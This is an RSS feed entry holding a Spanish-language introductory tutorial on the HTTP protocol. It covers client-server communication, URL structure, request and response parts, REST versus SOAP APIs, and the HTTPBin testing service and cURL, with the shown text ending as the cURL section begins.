<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Vay3t</title>
    <description>The latest articles on DEV Community by Vay3t (@vay3t).</description>
    <link>https://dev.to/vay3t</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F522717%2F6233989f-df25-4423-8875-bc5c10af8efd.png</url>
      <title>DEV Community: Vay3t</title>
      <link>https://dev.to/vay3t</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vay3t"/>
    <language>en</language>
    <item>
      <title>Protocolo HTTP — Comprendiendo las tecnologías Web</title>
      <dc:creator>Vay3t</dc:creator>
      <pubDate>Sat, 09 Sep 2023 17:00:00 +0000</pubDate>
      <link>https://dev.to/vay3t/protocolo-http-comprendiendo-las-tecnologias-web-5fcl</link>
      <guid>https://dev.to/vay3t/protocolo-http-comprendiendo-las-tecnologias-web-5fcl</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Q-X2oXjt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mq0rxq3ppfg1s3pkdd4g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Q-X2oXjt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mq0rxq3ppfg1s3pkdd4g.png" alt="Image description" width="800" height="380"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Que es el protocolo HTTP?
&lt;/h1&gt;

&lt;p&gt;El protocolo &lt;strong&gt;HTTP&lt;/strong&gt; (&lt;em&gt;Hypertext Transfer Protocol&lt;/em&gt;) es un conjunto de reglas que permite la comunicación y el intercambio de información entre computadoras en la &lt;strong&gt;World Wide Web&lt;/strong&gt; (&lt;em&gt;la red de Internet&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;El protocolo &lt;strong&gt;HTTP&lt;/strong&gt; utiliza &lt;strong&gt;TCP&lt;/strong&gt; (&lt;em&gt;Protocolo de Control de Transmisión&lt;/em&gt;) porque &lt;strong&gt;TCP&lt;/strong&gt; proporciona una comunicación confiable y orientada a la &lt;strong&gt;conexión&lt;/strong&gt;. Esto significa que &lt;strong&gt;TCP&lt;/strong&gt; garantiza la entrega de datos en el orden correcto y sin errores, lo cual es esencial para asegurar que las páginas web y otros recursos se carguen correctamente y sin problemas en los &lt;strong&gt;navegadores&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Diferencia entre HTTP y HTTPS
&lt;/h2&gt;

&lt;p&gt;La principal distinción entre &lt;strong&gt;HTTP&lt;/strong&gt; y &lt;strong&gt;HTTPS&lt;/strong&gt; radica en la protección de la comunicación. Mientras &lt;strong&gt;HTTPS&lt;/strong&gt; encripta y asegura la información transmitida, &lt;strong&gt;HTTP&lt;/strong&gt; no lo hace, exponiendo los datos a riesgos y espionaje. Por ello, se aconseja emplear &lt;strong&gt;HTTPS&lt;/strong&gt; en la medida de lo posible, sobre todo en páginas web que gestionan información delicada o privada.&lt;/p&gt;

&lt;h1&gt;
  
  
  Modelo de comunicación HTTP
&lt;/h1&gt;

&lt;p&gt;El protocolo &lt;strong&gt;HTTP&lt;/strong&gt; es un modelo de comunicación &lt;em&gt;cliente — servidor&lt;/em&gt; utilizado en la web. El &lt;strong&gt;cliente&lt;/strong&gt;, como un navegador web, envía &lt;strong&gt;solicitudes&lt;/strong&gt; (&lt;em&gt;Requests&lt;/em&gt;) a un servidor que aloja y administra recursos. El &lt;strong&gt;servidor&lt;/strong&gt; procesa las &lt;strong&gt;solicitudes&lt;/strong&gt; (&lt;em&gt;Requests&lt;/em&gt;) y &lt;strong&gt;responde&lt;/strong&gt; (&lt;em&gt;Response&lt;/em&gt;) con la información o acciones solicitadas. Este modelo facilita el intercambio de información en la web, permitiendo una separación clara de responsabilidades entre &lt;strong&gt;clientes&lt;/strong&gt; y &lt;strong&gt;servidores&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Esquema de conexión Cliente — Servidor
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight lua"&gt;&lt;code&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-----------+                               +------------+&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;        &lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;         &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------------------------&amp;gt;  |            |&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="n"&gt;Request&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;Cliente&lt;/span&gt;  &lt;span class="err"&gt;|&lt;/span&gt;                               &lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;Servidor&lt;/span&gt;  &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;Firefox&lt;/span&gt;  &lt;span class="err"&gt;|&lt;/span&gt;                               &lt;span class="err"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;Web&lt;/span&gt;     &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;36894&lt;/span&gt;       &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="c1"&gt;-------------------------+  |            |&lt;/span&gt;
&lt;span class="err"&gt;|&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="n"&gt;Response&lt;/span&gt;           &lt;span class="err"&gt;|&lt;/span&gt;            &lt;span class="err"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-----------+                               +------------+&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;                              &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Los puertos comunes usados en servidores web son los siguientes &lt;strong&gt;80/81/443/8000/8080/8443/8888&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Que servidores y clientes existen?
&lt;/h2&gt;

&lt;p&gt;En el contexto de la web y el protocolo &lt;strong&gt;HTTP&lt;/strong&gt;, hay varios servidores y clientes disponibles. Estos son algunos ejemplos de cada tipo:&lt;/p&gt;
&lt;h3&gt;
  
  
  Servidores web:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Apache HTTP Server&lt;/strong&gt;: Un servidor web de código abierto muy popular y ampliamente utilizado.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Nginx&lt;/strong&gt;: Un servidor web de alto rendimiento, también utilizado como proxy inverso y balanceador de carga.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Microsoft Internet Information Services&lt;/strong&gt; (&lt;em&gt;IIS&lt;/em&gt;): Un servidor web desarrollado por Microsoft, integrado en sus sistemas operativos Windows Server.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Caddy&lt;/strong&gt;: Un servidor web moderno, escrito en Go, que se centra en la facilidad de uso y la seguridad. Incluye soporte automático para &lt;strong&gt;HTTPS&lt;/strong&gt; utilizando Let’s Encrypt.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Tomcat&lt;/strong&gt;: Un servidor web y contenedor de servlets Java desarrollado por la &lt;strong&gt;Apache Software Foundation&lt;/strong&gt;. &lt;strong&gt;Tomcat&lt;/strong&gt; se utiliza principalmente para desplegar aplicaciones web basadas en Java.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Gunicorn&lt;/strong&gt;: Un servidor web &lt;strong&gt;WSGI&lt;/strong&gt; para &lt;em&gt;Python&lt;/em&gt;, utilizado para servir aplicaciones web basadas en &lt;em&gt;Python&lt;/em&gt;, como aquellas creadas con &lt;em&gt;Django&lt;/em&gt; o &lt;em&gt;Flask&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Clientes web
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Navegadores web&lt;/strong&gt;: Como por ejemplo Google Chrome, &lt;em&gt;Mozilla Firefox&lt;/em&gt;, &lt;em&gt;Apple Safari&lt;/em&gt;, &lt;em&gt;Microsoft Edge&lt;/em&gt;, &lt;em&gt;Opera&lt;/em&gt; que permiten a los usuarios navegar por la web y acceder a recursos en línea.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Aplicaciones móviles&lt;/strong&gt;: Muchas aplicaciones móviles actúan como clientes &lt;strong&gt;HTTP&lt;/strong&gt; al solicitar y recibir información de servidores web. Algunos son &lt;em&gt;Instagram&lt;/em&gt;, &lt;em&gt;GMail&lt;/em&gt;, &lt;em&gt;Whatsapp&lt;/em&gt;, &lt;em&gt;Telegram&lt;/em&gt;, &lt;em&gt;Uber&lt;/em&gt;, &lt;em&gt;Netflix&lt;/em&gt;, y un sin fin…&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Herramientas de línea de comandos&lt;/strong&gt;: Programas como &lt;em&gt;curl&lt;/em&gt; o &lt;em&gt;wget&lt;/em&gt; que permiten enviar solicitudes &lt;strong&gt;HTTP&lt;/strong&gt; desde la línea de comandos en un sistema operativo.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Bibliotecas y frameworks&lt;/strong&gt;: Lenguajes de programación como &lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;Java&lt;/em&gt;, &lt;em&gt;JavaScript&lt;/em&gt;, entre otros, cuentan con &lt;strong&gt;bibliotecas&lt;/strong&gt; y &lt;strong&gt;frameworks&lt;/strong&gt; que permiten a los desarrolladores crear aplicaciones que funcionen como clientes &lt;strong&gt;HTTP&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;
  
  
  Que es una URL?
&lt;/h1&gt;

&lt;p&gt;Una &lt;strong&gt;URL&lt;/strong&gt; (&lt;em&gt;Uniform Resource Locator&lt;/em&gt;) es una dirección única que identifica un recurso en la web, como una &lt;em&gt;página web&lt;/em&gt;, una &lt;em&gt;imagen&lt;/em&gt; o un &lt;em&gt;archivo&lt;/em&gt;. La &lt;strong&gt;URL&lt;/strong&gt; especifica la ubicación del recurso y cómo acceder a él mediante protocolos como &lt;strong&gt;HTTP&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Estructura de una URL
&lt;/h2&gt;

&lt;p&gt;Si descomponemos la estructura de una URL podríamos ordenarlo de la siguiente forma:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;protocolo&amp;gt;://&amp;lt;dominio&amp;gt;:&amp;lt;puerto&amp;gt;&amp;lt;path&amp;gt;&amp;lt;parametros&amp;gt;

http://vay3t.org:81/hello?name=nch&amp;amp;message=wspmdf

- protocolo = http
- dominio = vay3t.org
- puerto = 81
- path = /hello
- parametros = ?name=nch&amp;amp;message=wspmdf
  - variables = name,message
  - valores = nch,wspmdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Estructura del protocolo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vIkvFNFl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v84zjg3gzfq2b864ou3t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vIkvFNFl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v84zjg3gzfq2b864ou3t.png" alt="Image description" width="800" height="477"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Ya, pero que significa todo esto?
&lt;/h3&gt;

&lt;p&gt;Los headers, &lt;em&gt;verbos/métodos&lt;/em&gt;, códigos de estados y &lt;em&gt;MIME types&lt;/em&gt; son componentes importantes en la comunicación basada en el protocolo &lt;strong&gt;HTTP&lt;/strong&gt;.&lt;/p&gt;
&lt;h4&gt;
  
  
  Request
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_npSC4oR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n5eigly6v36vxml6xax9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_npSC4oR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n5eigly6v36vxml6xax9.png" alt="Image description" width="800" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Verbo/Método&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Path&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Versión del estándar HTTP&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Navegador Web Cliente&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Idioma cliente&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Headers&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  Response
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---WantnjN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/26eeubfummouoi2hlyk1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---WantnjN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/26eeubfummouoi2hlyk1.png" alt="Image description" width="800" height="303"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Versión del estándar HTTP&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Status code&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Versión del servidor (ahí podría ir Apache/1.1 o cosas así)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Largo del contenido del response&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Cuerpo del response&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Un poco de detalle… (Modo: DEBUG)
&lt;/h3&gt;

&lt;p&gt;A continuación, se explica brevemente cada uno de estos componentes:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DtThPttx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6afnvixuqmbfenkumlvr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DtThPttx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6afnvixuqmbfenkumlvr.png" alt="Image description" width="800" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jk16lXLf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tvh5yg7uwxwlz0zh0s2m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jk16lXLf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tvh5yg7uwxwlz0zh0s2m.png" alt="Image description" width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Webs modernas, las APIs
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4y8aExYV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yf20r7eoribqj62wwti6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4y8aExYV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yf20r7eoribqj62wwti6.png" alt="Image description" width="800" height="458"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Backend y frontend
&lt;/h2&gt;

&lt;p&gt;El &lt;strong&gt;backend&lt;/strong&gt; y el &lt;strong&gt;frontend&lt;/strong&gt; son dos componentes principales en el desarrollo de aplicaciones web y móviles. Ambos trabajan juntos para ofrecer una experiencia completa al usuario.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Frontend&lt;/strong&gt;: Es la parte visible e interactiva de la aplicación, con la que el usuario interactúa directamente. El frontend se encarga de la presentación y la interacción, utilizando tecnologías como &lt;strong&gt;HTML&lt;/strong&gt;, &lt;strong&gt;CSS&lt;/strong&gt; y &lt;strong&gt;JavaScript&lt;/strong&gt;. Su principal objetivo es proporcionar una interfaz atractiva y fácil de usar.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Backend&lt;/strong&gt;: Es la parte oculta que gestiona la lógica de negocio, el procesamiento de datos y la comunicación con bases de datos o servicios externos. El backend suele estar compuesto por servidores, bases de datos y &lt;strong&gt;APIs&lt;/strong&gt;. Los lenguajes de programación comunes para el &lt;strong&gt;backend&lt;/strong&gt; incluyen &lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;Java&lt;/em&gt;, &lt;em&gt;Ruby&lt;/em&gt;, &lt;em&gt;PHP&lt;/em&gt; y &lt;em&gt;Node.js&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  REST / SOAP
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;REST&lt;/strong&gt; y &lt;strong&gt;SOAP&lt;/strong&gt; son dos protocolos ampliamente utilizados en la comunicación entre sistemas, particularmente en el desarrollo de servicios web, específicamente a nivel de &lt;strong&gt;backend&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;REST&lt;/strong&gt; (&lt;em&gt;Representational State Transfer&lt;/em&gt;) es un estilo arquitectónico basado en &lt;strong&gt;HTTP&lt;/strong&gt; que utiliza verbos comunes como &lt;em&gt;GET&lt;/em&gt;, &lt;em&gt;POST&lt;/em&gt;, &lt;em&gt;PUT&lt;/em&gt; y &lt;em&gt;DELETE&lt;/em&gt; para realizar operaciones en recursos identificados por &lt;em&gt;URLs&lt;/em&gt;. Utiliza una estructura &lt;strong&gt;JSON&lt;/strong&gt; (presentado en la imagen anterior a la izquierda).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOAP&lt;/strong&gt; (&lt;em&gt;Simple Object Access Protocol&lt;/em&gt;) es un protocolo basado en &lt;strong&gt;XML&lt;/strong&gt; (presentado en la imagen anterior a la derecha) diseñado para mejorar la comunicación y la interoperabilidad entre sistemas, puede ser usado en servicios web. Permite a las aplicaciones intercambiar información de manera estandarizada.&lt;/p&gt;

&lt;p&gt;Los dos cumplen el mismo objetivo que es estandarizar las comunicaciones para interactuar con el backend web, con la diferencia que actualmente es más usado &lt;strong&gt;REST&lt;/strong&gt; por ser más ligero, simple y fácil de implementar que &lt;strong&gt;SOAP&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Estilos arquitectónicos existentes
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CRwBkHgh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wdoeq9qsg4sfv0g4gses.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CRwBkHgh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wdoeq9qsg4sfv0g4gses.png" alt="Image description" width="800" height="971"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Conceptos a entender
&lt;/h3&gt;

&lt;p&gt;Un &lt;strong&gt;endpoint&lt;/strong&gt; es una dirección &lt;strong&gt;URL&lt;/strong&gt; en un servicio web o &lt;em&gt;API&lt;/em&gt; que permite enviar solicitudes y recibir respuestas. Actúa como punto de entrada para interactuar con funciones o recursos específicos y se identifica mediante un método &lt;strong&gt;HTTP&lt;/strong&gt; y una &lt;strong&gt;URL&lt;/strong&gt; única.&lt;/p&gt;

&lt;p&gt;La &lt;strong&gt;documentación&lt;/strong&gt; de una &lt;em&gt;API&lt;/em&gt; es un conjunto de recursos e información que explica cómo utilizar e interactuar con la API, incluyendo detalles sobre autenticación, endpoints, ejemplos de código y manejo de errores (presentado en la imagen anterior al medio). Es esencial para que los desarrolladores puedan integrarla eficientemente en sus aplicaciones.&lt;/p&gt;
&lt;h1&gt;
  
  
  Usando la terminal
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://httpbin.org/"&gt;HTTPBin&lt;/a&gt; es un proyecto de código abierto que proporciona un conjunto de &lt;strong&gt;endpoints&lt;/strong&gt; para realizar pruebas y depurar clientes &lt;strong&gt;HTTP&lt;/strong&gt;. Es una &lt;strong&gt;API&lt;/strong&gt; &lt;em&gt;RESTful&lt;/em&gt; que ofrece varios endpoints para realizar diferentes tipos de solicitudes &lt;strong&gt;HTTP&lt;/strong&gt; y analizar sus respuestas.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A9-wwsHG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/postmanlabs"&gt;
        postmanlabs
      &lt;/a&gt; / &lt;a href="https://github.com/postmanlabs/httpbin"&gt;
        httpbin
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      HTTP Request &amp;amp; Response Service, written in Python + Flask.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
httpbin(1): HTTP Request &amp;amp; Response Service&lt;/h1&gt;
&lt;p&gt;A &lt;a href="http://kennethreitz.org/bitcoin" rel="nofollow"&gt;Kenneth Reitz&lt;/a&gt; Project.&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d4a94bbc6be7f75d2575e8e3c8ef6d722375a5836d9367f79df06e3d5f1fd85/687474703a2f2f6661726d312e737461746963666c69636b722e636f6d2f3537322f33323531343636393638335f346461663261623762635f6b5f642e6a7067"&gt;&lt;img src="https://camo.githubusercontent.com/1d4a94bbc6be7f75d2575e8e3c8ef6d722375a5836d9367f79df06e3d5f1fd85/687474703a2f2f6661726d312e737461746963666c69636b722e636f6d2f3537322f33323531343636393638335f346461663261623762635f6b5f642e6a7067" alt="ice cream"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Run locally:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;docker pull kennethreitz/httpbin
docker run -p 80:80 kennethreitz/httpbin&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;See &lt;a href="http://httpbin.org" rel="nofollow"&gt;http://httpbin.org&lt;/a&gt; for more information.&lt;/p&gt;
&lt;h2&gt;
Officially Deployed at:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://httpbin.org" rel="nofollow"&gt;http://httpbin.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://httpbin.org" rel="nofollow"&gt;https://httpbin.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hub.docker.com/r/kennethreitz/httpbin/" rel="nofollow"&gt;https://hub.docker.com/r/kennethreitz/httpbin/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
SEE ALSO&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://requestb.in" rel="nofollow"&gt;http://requestb.in&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://python-requests.org" rel="nofollow"&gt;http://python-requests.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://grpcb.in/" rel="nofollow"&gt;https://grpcb.in/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
Build Status&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://travis-ci.org/requests/httpbin" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/713d31c2e86b4bb1d8f4744297c7a563514bcc2d30c45a482ab73953af4a16ca/68747470733a2f2f7472617669732d63692e6f72672f72657175657374732f6874747062696e2e7376673f6272616e63683d6d6173746572" alt="Build Status"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/postmanlabs/httpbin"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  
  
  cURL
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;cURL&lt;/strong&gt; es una herramienta de línea de comandos y biblioteca que permite transferir datos a través de diversos protocolos. Se utiliza principalmente para realizar solicitudes &lt;strong&gt;HTTP&lt;/strong&gt;, acceder a APIs, depurar y automatizar procesos en aplicaciones web. Es compatible con múltiples plataformas y sistemas operativos, y su biblioteca está disponible en varios lenguajes de programación.&lt;/p&gt;

